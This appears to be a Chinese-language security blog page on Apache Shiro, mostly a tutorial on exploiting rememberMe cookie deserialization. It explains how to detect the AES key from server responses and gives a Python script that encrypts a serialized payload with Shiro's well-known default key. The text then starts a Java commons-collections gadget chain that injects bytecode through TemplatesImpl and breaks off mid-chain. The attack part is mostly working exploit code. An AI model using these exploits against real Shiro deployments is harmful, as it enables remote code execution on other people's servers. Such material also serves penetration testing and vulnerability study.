Spring Security/Shiro
- shiro
- Shiro反序列化相关
- URLDNS链
- Shiro CC链
- Shiro CB链
- Shiro反序列化WAF绕过
- Java快速开发框架_若依——前后端分离版- 3. 登陆 springsecurity认证 Debug - postman模拟
- SpringBoot+SpringSecurity+dubbo图书电商后台实战-对象映射-基本属性映射
- SpringBoot+SpringSecurity+dubbo图书电商后台实战-Spring Data JPA简介
- SpringBoot+SpringSecurity+dubbo图书电商后台实战-课程介绍,架构说明,案例说明,前置知识
- 参考文档
- Shiro反序列化相关
Shiro 和 Spring 平台是两个不同的项目,它们可以在一起使用来提供安全认证和授权功能。
Shiro 是一个用于身份验证、授权、加密等安全功能的开源框架。它提供了一个简单且易于使用的 API,可以轻松地集成到 Java 应用程序中。Shiro 提供了一套灵活的安全管理功能,可以处理用户身份验证、访问控制、会话管理等任务。
Spring 平台是一个用于构建企业级应用程序的综合框架。它提供了大量的功能和组件,包括依赖注入、AOP、事务管理、Web 开发等。Spring 还提供了一个名为 Spring Security 的子项目,用于处理应用程序的安全需求。Spring Security 可以与 Shiro 集成,以提供更强大的安全功能。
因此,可以说 Shiro 是一个独立的安全框架,而 Spring 平台可以与 Shiro 一起使用来增强应用程序的安全性。通过将两者结合使用,开发人员可以更容易地实现身份验证、授权和其他安全功能。
shiro
Shiro反序列化相关
原理· 获取Cookie中rememberMe的值
· 对rememberMe进行Base64解码
· 使用AES进行解密
· 对解密的值进行反序列化 这样的话攻击者就可以通过构造一个恶意的payload序列化之后
然后进行Base64加密以及AES加密发送给Shiro服务端,服务端会进行Base64解密以及AES解码之后进行反序列化。Shiro Key检测
当使用错误key进行AES加密和Base64编码之后发送给服务端在响应包中会有 rememberMe字段 但是如果使用正确的key进行AES加密和Base64编码的话是不会显示响应包中的。这里的原理其实就是如果你的key如果正确的话,那么其实也会抛出异常,因为类型转换错误,所以也会设置rememberMe=delete。这是因为你的类型不是PrincipalCollection类型,所以我们只需要构造一个继承于它的类即可,然后进行序列化发送到shiro端来判断key是否正确,如果正确的话是不会设置rememberMe字段的,
如果不正确的话会抛出异常,异常中就会设置rememberMe=delete字段。
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();serialie(simplePrincipalCollection);
URLDNS链
首先进行序列化之后 进行AES加密 然后Base64进行编码
import uuidimport base64import sysfrom random import Randomfrom Crypto.Cipher import AES def get_file_data(filename): with open(filename, 'rb') as f: data = f.read() return data def aes_enc(data): BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))) return ciphertext def aes_dec(enc_data): enc_data = base64.b64decode(enc_data) unpad = lambda s : s[:-s[-1]] key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = enc_data[:16] encryptor = AES.new(base64.b64decode(key), mode, iv) plaintext = encryptor.decrypt(enc_data[16:]) plaintext = unpad(plaintext) return plaintext if __name__ == '__main__': data = get_file_data("ser.bin") print(aes_enc(data))
需要注意的是 需要将JSESSIONID干掉之后再去加rememberMe即可
Shiro CC链
是Shiro打CC链的话,你的POC中不能出现Transformer数组,
因为shiro使用的不是原生的类加载器去加载的,所以需要通过CC2 + CC3 + CC6组合链进行打。
TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> clazz = templates.getClass();Field name = clazz.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"12312");Field bytecodes = clazz.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);byte[] code = Base64.getDecoder().decode("xxxx");bytecodes.set(templates,new byte[][]{code});
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);HashMap map = new HashMap();